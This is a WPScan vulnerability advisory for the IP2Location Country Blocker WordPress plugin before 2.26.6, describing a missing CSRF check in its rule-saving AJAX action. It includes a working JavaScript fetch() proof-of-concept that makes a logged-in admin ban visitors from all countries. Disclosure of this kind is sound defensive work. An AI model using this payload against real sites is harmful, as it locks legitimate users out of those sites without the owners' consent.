Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:9D416CA3-BD02-4FCF-B3B8-F2F2280D02D2
HistoryJan 06, 2022 - 12:00 a.m.

IP2Location Country Blocker < 2.26.6 - Arbitrary Country Ban via CSRF

2022-01-0600:00:00
Krzysztof Zając
wpscan.com
10

0.001 Low

EPSS

Percentile

37.9%

The plugin does not have CSRF check in the ip2location_country_blocker_save_rules AJAX action, allowing attackers to make a logged in admin block arbitrary country, or block all of them at once, preventing users from accessing the frontend.

PoC

Make an admin open a page with the following code in it, which will ban visitors from all countries: fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”:“ip2location_country_blocker_save_rules”, “countries[]”: “nonexistent”, “mode”: 0}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(function(data) { console.log(data); });

CPENameOperatorVersion
ip2location-country-blockerlt2.26.5

0.001 Low

EPSS

Percentile

37.9%

Related for WPVDB-ID:9D416CA3-BD02-4FCF-B3B8-F2F2280D02D2